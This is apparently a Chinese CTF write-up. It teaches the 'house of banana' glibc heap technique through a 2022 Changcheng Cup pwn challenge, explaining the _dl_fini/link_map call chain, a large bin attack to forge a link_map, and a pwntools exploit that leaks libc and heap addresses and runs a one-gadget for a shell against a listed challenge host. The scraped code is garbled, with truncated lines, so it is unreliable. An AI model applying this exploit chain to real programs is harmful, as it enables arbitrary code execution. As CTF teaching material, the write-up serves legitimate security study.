前言 借2022长城杯的一道题学习 house_of_banana。
House_Of_Banana 原理 详细原理可以直接查看放在学习链接里的文章,我也是通过这篇文章学习的,内容就不搬过来了。
house_of_banana 攻击的是 _rtld_global 的 link_map 链表,通过正常 main 函数返回或者调用 exit 退出,触发函数调用链:exit()->_dl_fini->(fini_t)array[i]。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 void void )struct  link_map  *maps [nloaded ];unsigned  int  i;struct  link_map  *l ;0  || GL(dl_ns)[ns]._ns_loaded == NULL );for  (l = GL(dl_ns)[ns]._ns_loaded, i = 0 ; l != NULL ; l = l->l_next)if  (l == l->l_real)      1 );unsigned  int  nmaps = i;NULL , true );for  (i = 0 ; i < nmaps; ++i)struct  link_map  *l  =if  (l->l_init_called)     0 ;      if  (l->l_info[DT_FINI_ARRAY] != NULL NULL ))if  (__builtin_expect (GLRO(dl_debug_mask)0 ))"\ncalling fini: %s [%lu]\n\n" ,if  (l->l_info[DT_FINI_ARRAY] != NULL )array  =unsigned  int  i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_valsizeof  (ElfW(Addr)));while  (i-- > 0 )fini_t ) array [i]) ();     
重点关注:
1 2 3 4 5 6 7 8 9 10      if  (l->l_info[DT_FINI_ARRAY] != NULL )array  =unsigned  int  i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_valsizeof  (ElfW(Addr)));while  (i-- > 0 )fini_t ) array [i]) ();     
DT_FINI_ARRAY 宏定义为 26,DT_FINI_ARRAYSZ 宏定义为 28。d_un.d_ptr 则是取 +8 处的指针,d_un.d_val 则是取 +8 处的值。
在有些情况下,rtld_global_ptr 与 libc_base 的偏移在本地与远程并不是固定的,远程的 ld.so 以及 TLS 等结构的地址与 libc 地址之间的偏移与本地的会不一样,但是大致处于一个范围内,并且,在同一个系统里,这个差值是固定的,其差值的变化往往在偏移的第 1.5BYTE~2.5BYTE 的位置,即地址十六进制的第4、5个数(末三位不变),因此我们只需爆破两个十六进制数即可。
利用 通过 large bin attack 替换 link_map 链表第3节点的 l_next。
可以利用下面的命令查看需要修改的地址。
1 2 3 distance  &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next ->l_next ->p  &(_rtld_global._dl_ns._ns_loaded->l_next ->l_next ->
image-20220825143354716 
link_map 布局:
1 2 3 4 5 6 7 8 0x28 ) = fake    0x48 ) = fake + 0x58 , 0x50 ) = 0x8 0x58 ) = shell0x110 ) = fake + 0x40 0x120 ) = fake + 0x48 int )*(fake+0x31c ) = 0x9     
模板参考:
1 2 3 4 5 6 7 8 ogg = leak + 0xe6c7e b'' 0x18 , b'\x00' ) + p64(fake)  0x38 , b'\x00' ) + p64(fake+0x58 ) + p64(8 ) + p64(ogg)0x100 , b'\x00' ) + p64(fake+0x40 )0 ) + p64(fake+0x48 )0x30C , b'\x00' ) + p32(9 )  
总结 适用版本:目前已知版本都可以攻击利用。
攻击前提:
需要通过正常 main 函数返回或者调用 exit 退出来触发利用链。 
拥有堆地址和 libc 地址。 
只需要一次往任意地址(link_map 中链表的 l_next 指针)写一个可控地址。 
 
题目 glibc-master image-20220825143519008 
申请函数,只允许申请到0x40f~0x60f的堆块。
image-20220825143505081 
释放时存在UAF。
image-20220825143604709 
打印函数只允许打印两次,但是能直接打印地址。
image-20220825143628967 
image-20220825143758891 
编辑函数把真正操作堆块内容的部分都隐藏了,无法反汇编,只能查看汇编语言进行分析。嫌麻烦,没去分析,选择直接去调试,发现只要写入的数据长度小于申请的size就是正常的写入,如果等于,输入的内容就会被更改成垃圾数据。
所以这题使用 house of banana 打的话,不难,利用好 largebin attack 即可。
要使用 house of banana,是需要有 libc 和 堆地址的,libc比较容易,申请释放一个堆块即可。
image-20220825144305886 
因为打印函数是 puts,存在 ‘\x00’阻断,所以堆地址需要在 fd 上才能被打印出来。大堆块自然能够想到都是 large bin 时,fd是会指向堆块的,也就可以泄露出堆地址。
image-20220825144537239 
接着就是利用 largebin attack 写入堆地址,再将堆块伪造成 link_map 的节点。
image-20220825144842830 
然后成功 getshell。
image-20220825144055306 
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from  errno import  EDEADLKfrom  re import  Sfrom  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )'./glibc_master' )1 if  DEBUG:"/home/shoucheng/tools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so" )"/home/shoucheng/tools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so" )"LD_PRELOAD"  : libc.path})else :'123.56.77.227' 42231 def  debug (info="b main"  ):def  add (idx, size ):b">>" , b'1' )b"input index:\n" )str (idx).encode('ascii' ))b"input size:\n" )str (size).encode('ascii' ))def  edit (idx, content ):b">>" , b'2' )b"input index:\n" )str (idx).encode('ascii' ))b"input context:\n" )def  show (idx ):b">>" , b'3' )b"input index:\n" )str (idx).encode('ascii' ))def  free (idx ):b">>" , b'4' )b"input index:\n" )str (idx).encode('ascii' ))0 , 0x428 )1 , 0x410 )2 , 0x418 )3 , 0x410 )0 )0 )6 ).ljust(8 , b'\x00' )) - 0x1ebbe0 "libc_base==>0x%x"  %leak)4 , 0x500 )2 )5 , 0x500 )0 )6 ).ljust(8 , b'\x00' )) - 0xae0 "heap_base==>0x%x"  %heap)6 , 0x418 )6 )0x1ebfd0 0x1f2018  + leak0 , p64(fd)*2  + p64(heap+0x290 ) + p64(target-0x20 ))7 , 0x500 )0xe6c7e 0xae0 b'' 0x18 , b'\x00' ) + p64(fake)0x38 , b'\x00' ) + p64(fake+0x58 ) + p64(8 ) + p64(ogg)0x100 , b'\x00' ) + p64(fake+0x40 )0 ) + p64(fake+0x48 )0x30C , b'\x00' ) + p32(9 )2 , fake_link_map)b">>" , b'1' )b"input index:\n" )b'30' )
学习链接 https://www.anquanke.com/post/id/222948#h2-9 
https://zhuanlan.zhihu.com/p/535469996